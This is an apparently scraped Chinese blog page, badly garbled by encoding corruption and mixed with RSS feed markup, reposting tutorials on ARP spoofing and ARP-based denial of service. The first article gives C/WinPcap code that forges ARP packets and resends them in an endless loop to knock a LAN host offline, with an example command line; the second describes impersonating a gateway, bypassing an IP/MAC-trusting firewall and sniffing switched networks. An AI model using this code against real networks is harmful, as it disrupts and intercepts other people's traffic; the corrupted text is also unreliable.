关于讨论ARP哄骗的文章,黑防在第8期的《小½H¥ARP协议》和½W?期《ARP SPOOF DoS攻防详谈》均有介¾lï¼Œä¸è¿‡åQŒä¿—话说åQŒæŽˆäººé±¼åQŒä¸å¦‚授äºÞZ»¥æ¸”,更多的读者也许期待的是如何将其原理和¾~–程实现¾l“合。本文的着½W”点正是å‡ÞZºŽ˜q™æ ·çš„目的,更是对上˜qîC¸¤½‹‡æ–‡ç« çš„一个补充,希望能给读者们真正理解ARPæ”Õd‡»çš„实质,同时åQŒä¹Ÿ¾l™éƒ¨åˆ†æƒ³å­¦ä¹ (f¨¤n)而又å®Ïx(ch¨®ng)€•å­¦ä¹?f¨¤n)WinPcap的读者一些“师傅领˜q›é—¨â€çš„æ„Ÿå—ã€?br />ã€ä»¥ä¸‹æµ‹è¯•çŽ¯å¢ƒäØ“(f¨´)WinXPsp1 + VC6.0sp6 + WinPcap3.14betaåQŒå…¶ä¸­ï¼Œå¿…须安装WinPcap3.0以上版本的驱动。ã€?br />首先åQŒæˆ‘们通过例子来回™å¾ä¸€ä¸‹ARP哄骗和攻å‡Èš„原理吧。先来做个实验,先打开一个cmd½H—口åQŒè¾“å…¥arp –aåQŒè¯¥å‘½ä×o(h¨´)表示通过询问当前协议数据来查看本机ARP¾~“å­˜?sh¨´)¿å­˜çš„入口地址ã€?

 (t¨©ng)

上面表示作者本人的ä¸ÀLœºIPä¸?92.168.3.155åQŒçŽ°åœ¨ARP¾~“存里只有两条IPä¸?92.168.3.253å’?92.168.3.254çš„ARP¾~“存记录åQŒå¾ˆæ˜„¡„¶åQŒä¸¤IP是作者主机所在局域网的网养I¼ˆå˜¿å˜¿åQŒæ ¡å›­ç½‘å’ŒADSLåQ‰ï¼Œå®ƒçš„MAC地址ä¸?*-**-18-23-b8-10å’?*-**-4c-78-22-22åQŒç±»åž‹äØ“(f¨´)dynamicåQŒå³åŠ¨æ€ç¼“å­˜ã€?br />然后åQŒping同一局域网内的另一IPä¸?92.168.3.162的主机,再次输入arp –aåQŒå¾—到结果ã€?br />看到åQŒè™½ç„¶PING不通,但ARP¾~“存却刷æ–îCº†(ji¨£n)åQŒæ·»åŠ äº†(ji¨£n)192.168.3.162˜q™ä¸€™å¹è®°å½•,òq¶æ˜¾½Cºå…¶MAC地址ä¸?*-**-ab-31-5c-3cåQŒç±»åž‹ä¹Ÿæ˜¯dynamicåQŒæ˜¾ç„?d¨°ng)ž¼Œå¯Ò?gu¨©)–¹å¼€äº?ji¨£n)防火墙òq¶è®¾¾|®äº†(ji¨£n)¼›æ­¢å†…发的PING包,但是仍然暴露äº?ji¨£n)该ä¸ÀLœºæ˜¯æ´»åŠ¨ä¸»æœºçš„äº‹å®žåQŒè€Œä¸”å¯ÒŽ(gu¨©)–¹çš„ARP¾~“存因此而刷新ã€?/p>

好了(ji¨£n)åQŒåˆ°çŽ°åœ¨åQŒæˆ‘ä»¬å¯ä»¥æŠŠç›®æ ‡å®šäØ“(f¨´)åQŒä¼ªé€?92.168.3.155çš„MAC地址ä¸?1-22-33-44-55-66åQŒä»¥è¾‘Öˆ°å“„éª—çš„ç›®çš„ã€‚æˆ‘ä»¬ä»¥æ­¤äØ“(f¨´)基点åQŒå…ˆ˜q›å…¥¾~–码的部分。因为整个ARP Spoof&Dos都在交换环境的局域网内,涉及(qi¨¢ng)到的都是MAC层的通信åQŒæ‰€ä»¥å®šä¹‰ä»¥å¤ªç½‘首部和ARP首部ž®±æˆä¸ºå¿…要的äº?ji¨£n),˜q™æ ·æˆ‘们才可以构造伪数据包,如下åQ?br />typedef struct ehhdr
{
unsigned char eh_dst[6]; /* 目标以太¾|‘地址*/
unsigned char eh_src[6]; /* 源以太网地址 */
unsigned short eh_type; /* 以太¾|‘包¾cÕdž‹ */
}EHHDR, *PEHHDR;


typedef struct arphdr
{
unsigned short arp_hrd; /* ¼‹¬äšg地址格式 */
unsigned short arp_pro; /* 协议地址格式 */
unsigned char arp_hln; /* ¼‹¬äšg地址长度 */
unsigned char arp_pln; /* 协议地址长度 */
unsigned short arp_op; /* ARP/RARP 操作 */

unsigned char arp_sha[6]; /* 源发送者硬件地址 */
unsigned long arp_spa; /* 源发送者协议地址 */
unsigned char arp_tha[6]; /* 目标¼‹¬äšg地址 */
unsigned long arp_tpa; /* 目标协议地址 */
}ARPHDR, *PARPHDR;
每个字段在注释里讲的很详¾l†äº†(ji¨£n)åQŒå¦‚果有疑问åQŒå¯ä»¥æŸ¥é˜…TCP/IP相关书籍。下一步,½W”者的Spoof实现需要输å…?个IP地址外加一个可选的¾|‘卡地址åQŒæ‰€ä»¥å°±æ¶‰åŠ(qi¨¢ng)到解析输入的ä¸ÀLœºåæˆ–IP的实玎ͼŒ˜q™ä¸ªç›æ€¿¡å¾ˆå¤šå†™è¿‡¾|‘络½E‹åºçš„读者都不陌生,如下åQ?br />DWORD ResolveAddr(const char* host)
{
PHOSTENT hp;
DWORD host_ip;
host_ip = inet_addr(host); /* 转换成网¾lœåœ°å€ */
/* 如果是主机名或域名,非点åˆ?0˜q›åˆ¶IP */
if (host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if ( hp == NULL)
{
printf("\nError: could not resolv hostname %s\n", host);
exit(1);
}
else
host_ip = *(DWORD*)(hp->h_addr_list[0]); /* 转换æˆ?2位网¾lœåœ°å€ */
}

return host_ip;
}
然后åQŒéœ€è¦å®šä¹‰ä¸€ä¸ªGetInterface()函数åQŒé¡¾åæ€ä¹‰åQŒå°±æ˜¯èŽ·å¾—æœ¬åœîC¸»æœºç½‘¾lœæŽ¥å£çš„æ„æ€ï¼Œå› äØ“(f¨´)åŸÞZºŽWinPcap的几乎所有应用程序都需要选择合适的¾|‘卡适配器。(很多刚接触WinPcap的读者可能会(x¨¬)感到很惶恐,好像WinPcap所用的API函数让很多Windows½E‹åºå‘˜ä(sh¨´)¸€ä¸‹å­æŽ¥æ”¶ä¸äº†(ji¨£n)åQŒå…¶å®žå¾ˆæ­£å¸¸åQŒç”¨çš„多äº?ji¨£n),看的多äº?ji¨£n)åQŒæ…¢æ…¢çš„åQŒæˆ‘ç›æ€¿¡è¯»è€…é—¨ä¼?x¨¬)越来越喜欢强大的WinPcap的)(j¨ª)GetInterface()定义如下åQ?br />pcap_t* GetInterface()
{
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE]; /* define PCAP_ERRBUF_SIZE 256 */
int i, inum;
pcap_if_t *alldevs, *d;
/*取得讑֤‡åˆ—表*/
if(pcap_findalldevs(&alldevs, errbuf) < 0) {
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
/* 打印讑֤‡åˆ—表*/
i = 0;
printf("\n\nInterfaces list:\n\n");
for(d = alldevs; d; d = d->next) {
printf("%d. %s", ++i, d->name);
if(d->description) printf(" (%s)\n", d->description);
else printf(" (No description available)\n");
}
if(i == 0) {
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
pcap_freealldevs(alldevs);
exit(1);
}
if(i > 1) {
printf("\n\nEnter the interface number (1 - %d): ",i);
scanf("%d", &inum);
if(inum < 1 || inum > i) {
printf("\nInterface number out of range.\n");
pcap_freealldevs(alldevs);
exit(1);
}
} else inum = 1;

/* è·›_ˆ°è¢«é€‰æ‹©çš„网卡适配器接å?*/
inum--;
for(d = alldevs, i = 0; i < inum; d = d->next, i++);
fprintf(stderr, "\n\nAdapter used: %s\n\n", d->name);
/* 从网¾lœä¸Šæ‰“å¼€‹zÕdŠ¨çš„æ•èŽ¯‚¡Œä¸ºï¼Œ˜q”回一个pcap_t¾cÕdž‹æè¿°½W?*/
fp = pcap_open_live(d->name, 65535, 1, 1000, errbuf);
if(fp == NULL) {
printf("\nError: %s\n", errbuf);
pcap_freealldevs(alldevs);
exit(1);
}
/* 释放pcap_findalldevs()打开的接口列�/
pcap_freealldevs(alldevs);

return(fp);
}
上面的注释已¾læ¯”较清楚了(ji¨£n)åQŒæ‰€æœ‰çš„æ¶‰åŠ(qi¨¢ng)到的WinPcap的结构体和API函数åQŒä»¥å?qi¨¢ng)基于WinPcap½E‹åºçš„编译方法,大家都可以到http://winpcap.polito.it/在线查询或把文档下蝲后本机查询,或者到论坛询问。在我的代码里,我假讑֦‚果用戯‚¾“入可选的伪MAC地址åQŒåˆ™ä½¿ç”¨˜q™ä¸ªè‡ªå®šä¹‰çš„伪MAC地址åQŒå¦‚果不输入åQŒåˆ™ä½¿ç”¨éšæœºäº§ç”Ÿçš„伪MAC地址åQŒä»£ç éƒ¨åˆ†å¦‚下:(x¨¬)
if (!argv[3])
{
sprintf((char*)mac, "%c%c%c%c%c%c",
rand(), rand(), rand(), rand(), rand(), rand());
}
else
{
for(i=0; i<ETHERLEN; i++)
{
sscanf(argv[3], "%02X", &tmp);
mac[i] = tmp;
argv[3] += 3;
}
}
ä¸ÞZº†(ji¨£n)得到ç”Þq³»¾lŸæ—¶é’Ÿäñ”生的随机敎ͼŒå¿…须在头文äšg里加å…?#include <time.h>åQŒåœ¨½E‹åºé‡ŒåŠ å…¥srand(time(NULL));
WSAStartup(MAKEWORD(2, 2), &wsaData); /*初始化win sock�/
ip_add = ResolveAddr(argv[1]);
ip_dst = ResolveAddr(argv[2]);
WSACleanup(); /* 用完äº?ji¨£n),è®îC½é‡Šæ”¾å“?*/
ä¸ÞZº†(ji¨£n)使用winsock2头文ä»Óž¼Œè¦æŒ‡å®?pragma comment(lib, "ws2_32.lib")来包含ws2_32.lib库文件。下面就åˆîCº†(ji¨£n)自定义构造以太头和ARP头了(ji¨£n)åQŒè¿™ž®±æ˜¯æˆ‘们伪造MAC的加工厂åQ?br />memcpy(ether->eh_dst, DEST, ETHERLEN);
memcpy(ether->eh_src, mac, ETHERLEN);
ether->eh_type = htons(ETHERTYPE_ARP); /* #define ETHERTYPE_ARP 0x0806 */
arphdr->arp_hrd = htons(ARPHRD_ETHER);
arphdr->arp_pro = htons(ETHERTYPE_IP);
arphdr->arp_hln = ETHERLEN;
arphdr->arp_pln = PROTOLEN;
arphdr->arp_op = htons(ARPOP_REQUEST); /* è¯äh±‚服务 */
memcpy(arphdr->arp_sha, mac, ETHERLEN); /* 伪源MAC地址 */
arphdr->arp_spa = ip_add; /* 伪源ARP 协议地址*/
memcpy(arphdr->arp_tha, SOURCE, ETHERLEN); /* 伪目标MAC地址 */
arphdr->arp_tpa = ip_dst; /* 伪目标ARP协议地址 */
˜q™é‡Œæ‰€æœ‰çš„宏都可以在我提供的arp.h头文仉™‡Œå¾—到对应的定义。每一™åšwƒ½å¾ˆæ¸…晎ͼŒä¸»è¦æ˜¯æž„造最后的几项åQˆæœ‰æ³¨é‡Šçš„行åQ‰ï¼Œé‚£é‡Œæ˜¯æ»‹ç”Ÿç½ªæ¶çš„æºå¤´ã€?br />伪MAC包构造好äº?ji¨£n),最后剩下的ž®±æ˜¯å‘送伪数据包了(ji¨£n)åQŒå†‹Æ¡å‘挥WinPcap库的发包函数åQŒå¦‚下:(x¨¬)
pcap_sendpacket(fp, buff, sizeof(buff)) ;
到这åQŒå¯ä»¥é•¿å˜˜ä(sh¨´)¸€å£æ°”åQŒå¤§åég¸€å£°â€œæ‰“完收工”,让我们测试一下成果,看是否能辑ֈ°æˆ‘们最开始预定的目标。输å…?arpspoof.exe 192.168.3.155 192.168.3.125 11-22-33-44-55-66
首先åQŒæ½Cø™¾“入接口号åQŒå› ä¸ºWinPcap库必™å»é€‰æ‹©æ­£ç¡®çš„网卡适配器接口,在笔者机子上åQŒå®‰è£…了(ji¨£n)2个虚拟机åQŒæ‰€ä»¥æœ‰4个接口,2åähŽ¥å£ä»£è¡¨æœ¬¾pȝ»Ÿ¾|‘卡接口åQŒæ‰€ä»¥é€?åQˆä½ çš„可能不同哦åQ‰ï¼Œå›žèžR后,发现右下脚马上提½CºIP地址冲突…嘿嘿,我们来分析一下,arpspoof.exe是我们哄骗程序,192.168.3.155是笔者的IP地址åQ?92.168.3.162是同一局域网内另一ä¸ÀLœºIPåQŒå°±æ˜¯æŠŠ192.168.3.155地址的MAC地址11åQ?2åQ?3åQ?4åQ?5åQ?6æ·ÕdŠ åˆ?92.168.3.162˜q™å°ä¸ÀLœºçš„动态ARP¾~“存里,æ”Õd‡»˜q‡åŽåQ?92.168.3.162çš„ARP¾~“å­˜ã€?br />刚才我把自己的IPå½“åšå‚æ•°ä¸€å¯ÆD‡´äº?ji¨£n)自å·Þqš„IP冲突åQŒé‚£å¦‚果我想ä½?92.168.3.162˜q™å°æœºå­äº§ç”ŸIP冲突åQŒå°±å¯ä»¥è°ƒæ¢ä¸€ä¸‹å‚æ•îC¸€å’Œå‚æ•îCºŒçš„位¾|®ï¼Œå?br />大家æƒÏx(ch¨®ng)ƒ³ä»€ä¹ˆåŽŸç†ï¼Œå‘µå‘µåQŒè¿™é‡Œæˆ‘ž®×ƒ¸å¤šè¯´äº?ji¨£n)ã€‚å¦‚æžœæƒ³éšçž’ä½œäØ“(f¨´)æ”Õd‡»è€…çš„IP,½W?个参数可以改成网ŒDµå†…çš„ä“Q意其他的IPã€‚è¿™æ øP¼Œæˆ‘们发è“v一‹Æ¡æ”»å‡»ï¼Œ192.168.3.162的主机就产生一‹Æ¡IP冲突åQŒä½†˜q™æ ·è‚¯å®šæ˜¯ä¸å¤Ÿçš„åQŒæ¯éš”一ŒD‰|—¶é—ß_(d¨¢)¼Œå¯ÒŽ(gu¨©)–¹çš„ARP¾~“å­˜ž®×ƒ¼š(x¨¬)åˆäh–°ä¸€‹Æ¡ï¼Œæ‰€ä»¥ï¼Œå¦‚果要进行一‹Æ¡ARP Dosæ”Õd‡»çš„话åQŒæˆ‘们还必须不断的给他们发,以保证对方ARP¾~“存始终是我们构造的伪MAC地址。实现很½Ž€å•,如下åQ?br />while(1) {
if(pcap_sendpacket(fp, buff, sizeof(buff)) < 0) {
printf("\nError: problems for sending packet\n");
exit(1);
}
printf(".");
sleep(DELAY); /* ˜q™é‡Œçš?define DELAY (CLOCKS_PER_SEC >> 1) 卛_Š¿U?*/
}
æ”Õd‡»˜q‡ç¨‹ã€?br />点点ž®Þp¡¨½Cºæ¯éš”半¿U’发送一‹Æ¡ARP包。结果是åQŒåœ¨è¢«DoSæ”Õd‡»åŽï¼Œå¦‚果再次PING
192.168.3.162åQŒå³ä½¿å¯¹æ–¹ä¸å¼€é˜²ç«å¢™ï¼Œä¹Ÿæ²¡æœ‰ç¦æ­¢INNER PINGåQŒå´ä»ç„¶PING不通,查看
自己的ARP¾~“å­˜åQŒæˆ‘们发玎ͼŒå¯ÒŽ(gu¨©)–¹çš„MAC地址¾~–程äº?0-00-00-00-00-00åQŒæ”»å‡?y¨¢n)LˆåŠŸã€?br />ž®ç»“åQ?br />在了(ji¨£n)解了(ji¨£n)ARP Spoof&Dosæ”Õd‡»çš„原理后åQŒå®žçްè“v来就不那么难äº?ji¨£n)ã€‚å¤§å­¦æ ¡å›­ç½‘å¸¸å¸¸å› äØ“(f¨´)IP资源的严重不­‘Œ™€Œå‘生同学们互抢IP的现象,有懂一点ARP哄骗的学生就用网¾lœæ‰§æ³•官½{‰å·¥å…øP¼Œè€Œä¸æ‡‚的的就只有ä»ÖMh宰割åQŒå¦‚果你˜q˜æ˜¯é‚£è¢«å®°å‰²çš„一部分äºÞZ¸­çš„一个,那么看完äº?ji¨£n)本文的你,是不是也该做点什么了(ji¨£n)呢。(在光盘的源代码文仉™‡ŒåQŒåªæä¾›äº?ji¨£n)一个源代码文äšgarpspoof.cppåQŒå®ƒçš„作用是实现¾l™ç›®æ ‡IPæ·ÕdŠ ARP¾~“å­˜åQŒè€Œarpdos.cpp我没有提供,防止有äh做坏事,呵呵åQŒå¦‚果你是真å¿?j¨©)抱着学习(f¨¤n)的态度åQŒé‚£ä¹ˆæˆ‘ç›æ€¿¡çœ‹å®Œ



]]>
åQˆè{åQ‰ç½‘卡MAC地址相关信息大全åQˆæ•´ç†ï¼‰(j¨ª)åQˆä¸‹åQ?/title><link>http://www.aygfsteel.com/yczz/articles/100061.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:56:00 GMT</pubDate><guid>http://www.aygfsteel.com/yczz/articles/100061.html</guid><wfw:comment>http://www.aygfsteel.com/yczz/comments/100061.html</wfw:comment><comments>http://www.aygfsteel.com/yczz/articles/100061.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/yczz/comments/commentRss/100061.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/yczz/services/trackbacks/100061.html</trackback:ping><description><![CDATA[     摘要: 如何实现修改¾|‘卡物理地址的三¿Uæ–¹æ³? 同样要感谢胡大虾 1 ã€? ä¹îC¸€å—可以通过å†? eeprom 物理的修改网卡地址åQŒè¿™¿Uå¡çŽ°åœ¨ ...  <a href='http://www.aygfsteel.com/yczz/articles/100061.html'>阅读全文</a><img src ="http://www.aygfsteel.com/yczz/aggbug/100061.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:56 <a href="http://www.aygfsteel.com/yczz/articles/100061.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>åQˆè{åQ‰ç½‘卡MAC地址相关信息大全åQˆæ•´ç†ï¼‰(j¨ª)åQˆä¸ŠåQ?/title><link>http://www.aygfsteel.com/yczz/articles/100060.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:54:00 GMT</pubDate><guid>http://www.aygfsteel.com/yczz/articles/100060.html</guid><wfw:comment>http://www.aygfsteel.com/yczz/comments/100060.html</wfw:comment><comments>http://www.aygfsteel.com/yczz/articles/100060.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/yczz/comments/commentRss/100060.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/yczz/services/trackbacks/100060.html</trackback:ping><description><![CDATA[     摘要: 首先要感è°? jzyhummel( 刀é”? [ ½‹±åª„(ji¨£ng) ]) 兄弟 提供的部分资æ–? ^_^  (t¨©ng)  (t¨©ng) (t¨©ng) ¾|‘卡地址˜q™ä¸ªæ¦‚念有点æ·äh·†ä¸æ¸…。因为实际上有两个地址åQ? mac 地址和物理地址 ...  <a href='http://www.aygfsteel.com/yczz/articles/100060.html'>阅读全文</a><img src ="http://www.aygfsteel.com/yczz/aggbug/100060.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:54 <a href="http://www.aygfsteel.com/yczz/articles/100060.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>åQˆè{åQ‰æ‰‹æŠŠæ‰‹æ•™ä½ æ•获数据åŒ?ä¸?【数据包的游戏系列之二ã€?/title><link>http://www.aygfsteel.com/yczz/articles/100059.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:53:00 GMT</pubDate><guid>http://www.aygfsteel.com/yczz/articles/100059.html</guid><wfw:comment>http://www.aygfsteel.com/yczz/comments/100059.html</wfw:comment><comments>http://www.aygfsteel.com/yczz/articles/100059.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/yczz/comments/commentRss/100059.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/yczz/services/trackbacks/100059.html</trackback:ping><description><![CDATA[     摘要: B. 打开相应¾|‘卡òq¶è®¾¾|®äØ“(f¨´)æ·äh‚模式åQ?  (t¨©ng) (t¨©ng) 在此之前肯定要有一ŒDµè®©ç”¨æˆ·é€‰æ‹©¾|‘å¡ã€åÆˆèŽ·å¾—ç”¨æˆ·é€‰æ‹©çš„ç½‘å¡çš„åå­—çš„ä»£ç ï¼Œæ—¢ç„¶ä¸Šé¢å·²ç»å¯ä»¥èŽ·å¾—æ‰€æœ‰ç½‘å¡çš„åå­—äº?ji¨£n),˜q™æ®µä»£ç ž®±æš‚且略˜q‡äº†(ji¨£n)ã€? ...  <a href='http://www.aygfsteel.com/yczz/articles/100059.html'>阅读全文</a><img src ="http://www.aygfsteel.com/yczz/aggbug/100059.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:53 <a href="http://www.aygfsteel.com/yczz/articles/100059.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>åQˆè{åQ‰æ‰‹æŠŠæ‰‹æ•™ä½ æ•获数据åŒ?ä¸?【数据包的游戏系列之二ã€?/title><link>http://www.aygfsteel.com/yczz/articles/100058.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:51:00 GMT</pubDate><guid>http://www.aygfsteel.com/yczz/articles/100058.html</guid><wfw:comment>http://www.aygfsteel.com/yczz/comments/100058.html</wfw:comment><comments>http://www.aygfsteel.com/yczz/articles/100058.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/yczz/comments/commentRss/100058.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/yczz/services/trackbacks/100058.html</trackback:ping><description><![CDATA[     摘要: å‰?  (t¨©ng) (t¨©ng) ­a€  (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) ¾lå¸¸çœ‹åˆ°è®ºå›æœ‰äh...  <a href='http://www.aygfsteel.com/yczz/articles/100058.html'>阅读全文</a><img src ="http://www.aygfsteel.com/yczz/aggbug/100058.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:51 <a href="http://www.aygfsteel.com/yczz/articles/100058.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>åQˆè{åQ‰æ‰‹æŠŠæ‰‹æ•™ä½ çŽ©è{ARP包(完)(j¨ª)【数据包的游戏系列之一ã€?http://www.aygfsteel.com/yczz/articles/100057.html飞鸟飞鸟Fri, 16 Feb 2007 07:49:00 GMThttp://www.aygfsteel.com/yczz/articles/100057.htmlhttp://www.aygfsteel.com/yczz/comments/100057.htmlhttp://www.aygfsteel.com/yczz/articles/100057.html#Feedback0http://www.aygfsteel.com/yczz/comments/commentRss/100057.htmlhttp://www.aygfsteel.com/yczz/services/trackbacks/100057.html
作者:(x¨¬)
CSDN (t¨©ng) VC/MFC ¾|‘络¾~–程PiggyXP  (t¨©ng)^_^
 (t¨©ng)
本篇目录åQ??xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /?>

 (t¨©ng) (t¨©ng) (t¨©ng) 四。ARP包的游戏

 (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 1 (t¨©ng). (t¨©ng)  (t¨©ng)ž®ä¼Žä¿?/font>

 (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 2. (t¨©ng)  (t¨©ng) ARP‹Æºéª—的实çŽ?/font>

 (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 3. (t¨©ng) (t¨©ng) åŸÞZºŽARP‹Æºéª—的监听原ç?/font>  (t¨©ng)

 (t¨©ng)

四.ARP包的游戏

既然我们可以自己来填充数据包åQŒé‚£ä¹ˆæ¥çŽ©äº› ARP 的“小游戏”欺骗就是易如反掌了(ji¨£n)åQŒå½“ç„?d¨°ng)ž¼Œæ˜¯åœ¨æ²¡æœ‰å®‰å…¨é˜²æŠ¤çš„网¾lœé‡Œ åQŒæ¯”如只æœ?/span> hub 或者交换机把你们相˜qžï¼Œè€Œæ²¡æœ‰èµ\由分ŒD?/span> ……^_^

下面我就由浅入深的讲一些介¾lä¸€äº›å…³äº?/span> ARP 的小伎俩ã€?/span>

 (t¨©ng)

1. ž®ä¼Žä¿?/span>

1) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 你可以试着发一个请求包òq¿æ’­åQŒå…¶ä¸­çš„ ARP 帧里关于你的信息填成˜q™æ ·åQ?/span>

( ä¸ÞZº†(ji¨£n)节省½‹‡å¹…åQŒæˆ‘只写需要特别指出的填充字段 )

MAC

IP

 (t¨©ng) IP

 (t¨©ng) (t¨©ng) 出现什么结果?是不是弹å‡ÞZ¸€ä¸?/span> IP 地址冲突的提½Cºï¼Ÿå‘µå‘µåQŒåŒæ ïL(f¨¥ng)š„道理åQŒå¦‚果发送方 IP 填成别äh的,然后每隔 1 ¿U’发一‹Æ?/span> ……â€?.-_-b

 (t¨©ng)

2) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 比如你们都靠一个网å…?/span> 192.168.0.1 上网 åQŒå¦‚果你惌™®© 192.168.0.77 上不äº?ji¨£n)网åQŒå°±å¯ä»¥ä¼ªè£…成网关给 192.168.0.77 发一个错误的 ARP 响应åŒ?/span> , like this

MAC

IP

 (t¨©ng) IP 192.168.0.1

接收方就å¡?/span> 192.168.0.77 的相关信息,发送之后,它还能上¾|‘不åQ?/span>

˜q™æ ·èƒ½æŠ˜è…¾ä»–好一阵子äº?ji¨£n),只要它的¾pȝ»Ÿå¾—不到正¼‹®çš„到网关的 ARP 映射表它?y¨­u)®×ƒ¸€ç›´ä¸Šä¸äº†(ji¨£n)¾|‘了(ji¨£n) ^_^

 (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) 呵呵¾cÖM¼¼çš„伎俩还有很多,不过只停留在˜q™ç‚¹ä¸œè¥¿ä¸Šä¹Ÿæ²¡ä»€ä¹ˆæ„æ€ï¼Œ˜q˜æ˜¯çœ‹çœ‹½Eå¾®é«˜æ·±ä¸€ç‚¹çš„å?/span> ^_^

 (t¨©ng)

 (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 2. (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) ARP ‹Æºéª—

因䨓(f¨´)在以太网里,¾|‘络讑֤‡ž®±æ˜¯é?/span> MAC 信息来识别的计算机的åQŒæ¯”å¦?/span> A ç”?sh¨´)脑知é?/span> MAC 地址ä¸?/span> 22-22-22-22-22-22 的电(sh¨´)脑是 B åQŒè€Œå¦‚果我¾l?/span> A 发送一ä¸?/span> ARP 响应包,告诉它我çš?/span> MAC æ˜?/span> 22-22-22-22-22-22 的话åQ?/span> A 同样ä¼?x¨¬)认为我的计½Ž—机æ?/span> B äº?ji¨£n),那么好,我们设想有这么一个环境,

A 的防火墙只对 IP ä¸?/span> 192.168.0.2 MAC ä¸?/span> 22-22-22-22-22-22 çš?/span> B 有信ä»Õd…³¾p»ï¼Œè€Œä¸” A 打开äº?/span> 21 端口提供 FTP 服务åQŒæ­£å¸¸æƒ…况䏋因䨓(f¨´)防火墙的¾~˜æ•…我们的计½Ž—机是连不到 A 的,

于是我们惛_Šžæ³•è®© B down 掉,或者在它关机的时候,我们把我们的 IP æ”ÒŽ(gu¨©)ˆ B çš?/span> 192.168.0.2 åQŒç„¶åŽç»™ A 发送一ä¸?/span> ARP 回应包,告诉 A 更新一ä¸?/span> ARP ¾~“存列表åQ?/span> 192.168.0.2 çš?/span> IP 映射到我们的
MAC
地址上来åQŒäºŽæ˜¯ï¼Œå¥‡è¿¹å‡ºçްäº?ji¨£n),我们可以˜qžåˆ° A çš?/span> FTP 上了(ji¨£n)åQŒé˜²ç«å¢™å¤±æ•ˆäº?/span> ^_^

不过˜q™ä¸ªåŠžæ³•åªèƒ½åœ¨åŒ¾|‘段内生效,如果我们å’?/span> A 不在一个网ŒDµå†…åQŒé‚£ž®Þp¦å¤æ‚的多äº?ji¨£n),˜q˜è¦é…åˆ ICMP 的重定向来控制报文的路由åQŒè¿™ä¸ªæˆ‘准备在以后阐˜q?/span> ICMP 包的时候详¾l†è®²è§£ï¼Œž®×ƒ¸å†æ­¤å¤šè¯´äº?ji¨£n)ã€?/span>

 (t¨©ng) (t¨©ng) (t¨©ng) 3. (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) åŸÞZºŽ ARP ‹Æºéª—的监听原ç?/span>

监听的技术有很多äº?ji¨£n),不过我们常用ç?/span> sniffer 工具只能在基äº?/span> hub 的网¾lœä¸­èµ·ä½œç”¨ï¼Œ¼„°åˆ°å“ªæ€•是交换机都无能为力äº?ji¨£n),˜q™ä¸ªæ—¶å€™æˆ‘们的 ARP ‹Æºéª—技术就‹z¾ä¸Šç”¨åœºäº?ji¨£n)ã€?/span>

˜q˜æ˜¯å‡è®¾æœ‰ä¸‰åîC¸»æœ?/span> A,B, ˜q˜æœ‰æˆ‘们的主机,位于同一个交换式局域网ä¸?/span>

